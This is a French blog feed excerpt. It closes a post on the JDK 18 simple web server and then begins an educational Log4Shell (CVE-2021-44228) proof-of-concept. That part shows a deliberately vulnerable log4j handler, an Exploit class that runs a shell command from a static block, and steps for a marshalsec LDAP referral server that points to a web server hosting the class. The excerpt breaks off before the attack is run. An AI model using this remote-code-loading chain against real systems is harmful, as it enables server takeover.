&lt;p&gt;&lt;span class=&quot;image&quot;&gt;&lt;img src=&quot;/resources/img/blog/2022/01/jwebserver-page-json-index.png&quot; alt=&quot;jwebserver page json index&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Puis, en cliquant sur le nom &lt;code&gt;bordeaux.json&lt;/code&gt;, nous obtenons la page suivante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image&quot;&gt;&lt;img src=&quot;/resources/img/blog/2022/01/jwebserver-page-json.png&quot; alt=&quot;jwebserver page json&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les traces des appels sont visibles au niveau de la console :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;127.0.0.1 - - [02/janv./2022:13:49:42 +0100] &quot;GET /json/ HTTP/1.1&quot; 200 -
127.0.0.1 - - [02/janv./2022:13:49:44 +0100] &quot;GET /json/bordeaux.json HTTP/1.1&quot; 200 -&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; Cela fonctionne de la même manière avec un fichier XML.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En activant la sortie à &lt;strong&gt;verbose&lt;/strong&gt;, nous avons les informations sur les en-têtes passées&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;127.0.0.1 - - [02/janv./2022:11:38:00 +0100] &quot;GET /json/ HTTP/1.1&quot; 200 -
Resource requested: /tmp/jdk18/json
&amp;gt; Accept-encoding: gzip, deflate
&amp;gt; Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
&amp;gt; Sec-fetch-dest: document
&amp;gt; Sec-fetch-user: ?1
&amp;gt; Connection: keep-alive
&amp;gt; Sec-fetch-site: none
&amp;gt; Host: localhost:8000
&amp;gt; Dnt: 1
&amp;gt; Sec-fetch-mode: navigate
&amp;gt; User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
&amp;gt; Accept-language: fr,en-US;q=0.7,en;q=0.3
&amp;gt; Upgrade-insecure-requests: 1
&amp;gt;
&amp;lt; Date: Thu, 02 Jan 2022 10:38:00 GMT
&amp;lt; Last-modified: Wed, 2 Jan 2022 09:38:10 GMT
&amp;lt; Content-type: text/html; charset=UTF-8
&amp;lt; Content-length: 195
&amp;lt;
127.0.0.1 - - [06/janv./2022:11:38:07 +0100] &quot;GET /json/bordeaux.json HTTP/1.1&quot; 200 -
Resource requested: /tmp/jdk18/json/bordeaux.json
&amp;gt; Accept-encoding: gzip, deflate
&amp;gt; Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
&amp;gt; Sec-fetch-dest: document
&amp;gt; Sec-fetch-user: ?1
&amp;gt; Referer: http://localhost:8000/json/
&amp;gt; Connection: keep-alive
&amp;gt; Sec-fetch-site: same-origin
&amp;gt; Host: localhost:8000
&amp;gt; Sec-fetch-mode: navigate
&amp;gt; Dnt: 1
&amp;gt; User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
&amp;gt; Accept-language: fr,en-US;q=0.7,en;q=0.3
&amp;gt; Upgrade-insecure-requests: 1
&amp;gt;
&amp;lt; Date: Thu, 02 Jan 2022 10:38:07 GMT
&amp;lt; Last-modified: Wed, 2 Jan 2022 09:28:49 GMT
&amp;lt; Content-type: application/json
&amp;lt; Content-length: 159
&amp;lt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;api&quot;&gt;API&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;idée a été d&amp;#8217;utiliser le module &lt;code&gt;jdk.httpserver&lt;/code&gt; qui contient l&amp;#8217;API public &lt;code&gt;com.sun.net.httpserver&lt;/code&gt;. C&amp;#8217;est l&amp;#8217;implémentation du serveur web embarqué dans le JDK depuis 2006. Ce package est officiellement supporté.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En revanche, pour faciliter l&amp;#8217;utilisation, une classe &lt;code&gt;SimpleFileServer&lt;/code&gt; a été défini pour simplifier la création d&amp;#8217;un serveur web, L&amp;#8217;interface est la suivante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;package com.sun.net.httpserver;

public final class SimpleFileServer {
    public static HttpServer createFileServer(InetSocketAddress addr,
                                              Path rootDirectory,
                                              OutputLevel outputLevel) {...}
    public static HttpHandler createFileHandler(Path rootDirectory) {...}
    public static Filter createOutputFilter(OutputStream out,
                                            OutputLevel outputLevel) {...}
    ...
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;  La possibilité de rajouter l&amp;#8217;interface réseau a été ajoutée par rapport à la version initiale.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;jshell&quot;&gt;jshell&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous pouvons utiliser la commande &lt;code&gt;jshell&lt;/code&gt; pour démarrer le serveur web.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;import com.sun.net.httpserver.*; &lt;b class=&quot;conum&quot;&gt;(1)&lt;/b&gt;

var server = SimpleFileServer.createFileServer(new InetSocketAddress(8000),
  Path.of(&quot;/tmp/jdk18&quot;),
  SimpleFileServer.OutputLevel.INFO); &lt;b class=&quot;conum&quot;&gt;(2)&lt;/b&gt;
server.start() &lt;b class=&quot;conum&quot;&gt;(3)&lt;/b&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;colist arabic&quot;&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Importer le package correspondant au serveur web&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Créer une instance de notre serveur web&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Démarrer le serveur web&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le tour est joué. Nous pouvons aussi ajouter un autre handler vers un autre chemin.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;server.createContext(&quot;/logs&quot;,
  SimpleFileServer.createFileHandler(Path.of(&quot;/var/log&quot;)));&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Et voilà, le nouveau répertoire est disponible :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image&quot;&gt;&lt;img src=&quot;/resources/img/blog/2022/01/jwebserver-ajout-logs.png&quot; alt=&quot;jwebserver ajout logs&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Vous pouvez aller plus loin en créant votre propre handler en implémentant l&amp;#8217;interface &lt;code&gt;com.sun.net.httpserver.HttpHandler&lt;/code&gt;, mais cela ne correspond pas l&amp;#8217;objectif initial.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/408&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 408: Simple Web Server&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;/2021/04/JEP408-Simple-Web-Server-en-Java.html&quot;&gt;Billet précédent sur la JEP 408&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>CVE-2021-44228 et Apache Log4j (2e partie)</title>
      <link>https://www.lilian-benoit.fr/2021/12/CVE-2021-44228-et-Apache-Log4j-2ePartie.html</link>
      <pubDate>dim., 26 déc. 2021 00:00:00 +0100</pubDate>
      <guid isPermaLink="false">2021/12/CVE-2021-44228-et-Apache-Log4j-2ePartie.html</guid>
      	<description>
	&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#la_cible&quot;&gt;La cible&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#le_code&quot;&gt;Le code&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#lexécution&quot;&gt;L&amp;#8217;exécution&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#code_à_exécuter&quot;&gt;Code à exécuter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#mise_en_oeuvre&quot;&gt;Mise en oeuvre&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#le_serveur_web&quot;&gt;Le serveur web.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#le_serveur_ldap&quot;&gt;Le serveur LDAP&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#exécution&quot;&gt;Exécution&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#jvm_récente&quot;&gt;JVM Récente&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#conclusion&quot;&gt;Conclusion&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#open_source&quot;&gt;Open Source&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;!-- toc disabled --&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Ces informations sont diffusées uniquement à des fins pédagogiques. Si vous réalisez des tests, cela doit être fait sur des serveurs dont vous êtes autorisés à le faire.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Dans le &lt;a href=&quot;/2021/12/CVE-2021-44228-et-Apache-Log4j.html&quot;&gt;billet précédent&lt;/a&gt;, nous avons parlé de la faille de sécurité et notamment des solutions pour s&amp;#8217;en prémunir.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous avons approfondir le principe de la faille de sécurité pour mieux la comprendre et de voir pourquoi les solutions de contournement fonctionnent.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour exploiter la faille de sécurité, nous avons besoin du pré-requis suivants :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;olist arabic&quot;&gt;
&lt;ol class=&quot;arabic&quot;&gt;
&lt;li&gt;
&lt;p&gt;Une cible (une application Java avec une version de log4j vulnérable),&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;L&amp;#8217;application doit afficher dans les journaux une information envoyée par l&amp;#8217;attaquant (sans protection),&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Des serveurs pour envoyer le code à exécuter.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;la_cible&quot;&gt;La cible&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour commencer, nous avons besoin d&amp;#8217;une application vulnérable. Nous allons déveloper une application dans ce sens.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous utilisons une version de log4j non corrigé.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;xml&quot;&gt;&amp;lt;dependency&amp;gt;
  &amp;lt;groupId&amp;gt;org.apache.logging.log4j&amp;lt;/groupId&amp;gt;
  &amp;lt;artifactId&amp;gt;log4j-core&amp;lt;/artifactId&amp;gt;
  &amp;lt;version&amp;gt;2.14.1&amp;lt;/version&amp;gt;
&amp;lt;/dependency&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;le_code&quot;&gt;Le code&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous allons écrire un code qui pose problème, pour cela nous utilisons un handler d&amp;#8217;un service web.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public class VulnerableLog4jExampleHandler implements HttpHandler {

  static Logger log = LogManager.getLogger(VulnerableLog4jExampleHandler.class.getName()); &lt;b class=&quot;conum&quot;&gt;(1)&lt;/b&gt;

  public void handle(HttpExchange he) throws IOException {
    String userAgent = he.getRequestHeaders().getFirst(&quot;user-agent&quot;); &lt;b class=&quot;conum&quot;&gt;(2)&lt;/b&gt;

    log.info(&quot;Request user-agent: {}&quot;, userAgent); &lt;b class=&quot;conum&quot;&gt;(3)&lt;/b&gt;

    ...
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;colist arabic&quot;&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Récupération de l&amp;#8217;instance de &lt;code&gt;Logger&lt;/code&gt; Log4j.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Récupération d&amp;#8217;information à partir de la requête.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Utilisation directe de l&amp;#8217;information pour l&amp;#8217;afficher dans le journal.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; Le code complet est disponible sous
&lt;a href=&quot;https://github.com/lilian-benoit/log4jshell-poc/blob/master/src/main/java/fr/lbenoit/securite/log4shell/VulnerableLog4jExampleHandler.java&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;github&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Pour limiter les dépendances, j&amp;#8217;utilise le serveur web inclus avec le JDK. A ce niveau, le principe est le même quelque soit la solution utilisée comme JAX-RS, Spring, Quarkus ou autres.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;lexécution&quot;&gt;L&amp;#8217;exécution&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour le compiler, à partir du dépot, il suffit de réaliser les actions suivantes :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;git clone https://github.com/lilian-benoit/log4jshell-poc.git
cd log4jshell-poc
mvn package&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Puis pour le lancer, il faut poursuivre avec les actions suivantes :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;java -jar target/log4shell-poc-0.1.0.jar&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Il devrait s&amp;#8217;afficher le message suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;19:35:25.216 [main] INFO  fr.lbenoit.securite.log4shell.VulnerableLog4jExampleHandler - Serveur démarre....&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Nous avons à ce stade remplir l&amp;#8217;objectif des deux premiers pré-requis. C&amp;#8217;est à dire le point 1) et 2)&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;code_à_exécuter&quot;&gt;Code à exécuter&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le but de ce billet est l&amp;#8217;apprentissage, donc le code à executer sera simplement la création d&amp;#8217;un fichier  &lt;code&gt;/tmp/exploit.txt&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Le code fourni fontionne uniquement sur Linux. Je laisse le soin au lecteur sous Windows de faire les modifications nécessaires vis à vis de son système.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le code est dans un bloc statique afin qu&amp;#8217;il soit exécuté par la JVM lors du chargement de la classe via le chargeur de classes.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public class Exploit {
    static {
        try {
        	String command = &quot;touch /tmp/exploit.txt&quot;;
        	String[] commands = {&quot;bash&quot;, &quot;-c&quot;, command};

        	System.out.println(&quot;cmd : &quot;+ commands[0]);
            int result = java.lang.Runtime.getRuntime().exec(commands).waitFor();
            System.out.println(&quot;result : &quot;+ result);
        } catch (Exception e){
            e.printStackTrace();
        }
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; Le code complet est disponible sous
&lt;a href=&quot;https://github.com/lilian-benoit/log4jshell-poc/blob/master/src/test/java/Exploit.java&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;github&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;mise_en_oeuvre&quot;&gt;Mise en oeuvre&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous devons mettre en oeuvre différentes briques pour exploiter la faille et réussir l&amp;#8217;exécution du code sur la cible :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Serveur LDAP&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Serveur Web&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous allons étudier la séquence via le schéma suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image&quot;&gt;&lt;img src=&quot;/resources/img/blog/2021/12/Log4j-CVE.jpg&quot; alt=&quot;Log4j CVE&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La cinématique est la suivante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;olist arabic&quot;&gt;
&lt;ol class=&quot;arabic&quot;&gt;
&lt;li&gt;
&lt;p&gt;L&amp;#8217;attaquant appelle notre cible en lui passant des informations malveillantes dans la requête. Dans notre cas, c&amp;#8217;est l&amp;#8217;en tête &lt;code&gt;user-agent&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;La cible via la faille Log4j va analyser le message et appeler l&amp;#8217;annuaire LDAP via JNDI. Dans notre cas, c&amp;#8217;est l&amp;#8217;url &lt;code&gt;ldap://ldap-malveillant:1389&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;L&amp;#8217;annuaire LDAP renvoie les informations ainsi que le code pour chargeant l&amp;#8217;exploit&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Le code malveillant va récupérer le code à exécuter via un serveur web (moyen le plus simple et le moins bloqué) Dans notre cas, c&amp;#8217;est l&amp;#8217;url &lt;code&gt;http:// web-malveillant/&amp;#8230;&amp;#8203;&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Le serveur web retourne le code Java compilé&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Le code est chargé et via le bloc statique, le code est ainsi exécuté.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;le_serveur_web&quot;&gt;Le serveur web.&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Il faut commencer par compiler le code de l&amp;#8217;exploit.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;git clone https://github.com/lilian-benoit/log4jshell-poc.git
cd log4jshell-poc/src/test/java
javac Exploit.java&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;puis le rendre disponible via un serveur web&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;# Si vous avez un JDK 18
jwebserver -p 8888&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Après le lancement, vous obtiendrez le message suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;Binding to loopback by default. For all interfaces use &quot;-b 0.0.0.0&quot; or &quot;-b ::&quot;.
Serving /.../log4shell-poc/src/test/java and subdirectories on 127.0.0.1 port 8888
URL http://127.0.0.1:8888/&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;  Si vous n&amp;#8217;avez pas encore de JDK 18, vous pouvez utiliser node ou python. Exemple de commande avec Python3 : python3 -m http.server 8888&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;le_serveur_ldap&quot;&gt;Le serveur LDAP&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous avons besoin d&amp;#8217;un serveur LDAP spécial qui permet de renvoyer du code qui appellera une url. Pour cela, nous allons le projet &lt;a href=&quot;https://github.com/mbechler/marshalsec&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;marshalsec&lt;/a&gt; de mbechler.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Il n&amp;#8217;existe pas de version binaire. Il faut le compiler à partir des sources.
Voici les commandes à taper pour compiler à partir des sources (Java 8 requis):&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour l&amp;#8217;exécution, nous allons utiliser la classe &lt;code&gt;marshalsec.jndi.LDAPRefServer&lt;/code&gt;
Lors d&amp;#8217;un interrogation LDAP, il faut lui préciser en paramètre l&amp;#8217;url afin de récupérer notre exploit.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer &quot;http://127.0.0.1:8888/#Exploit&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
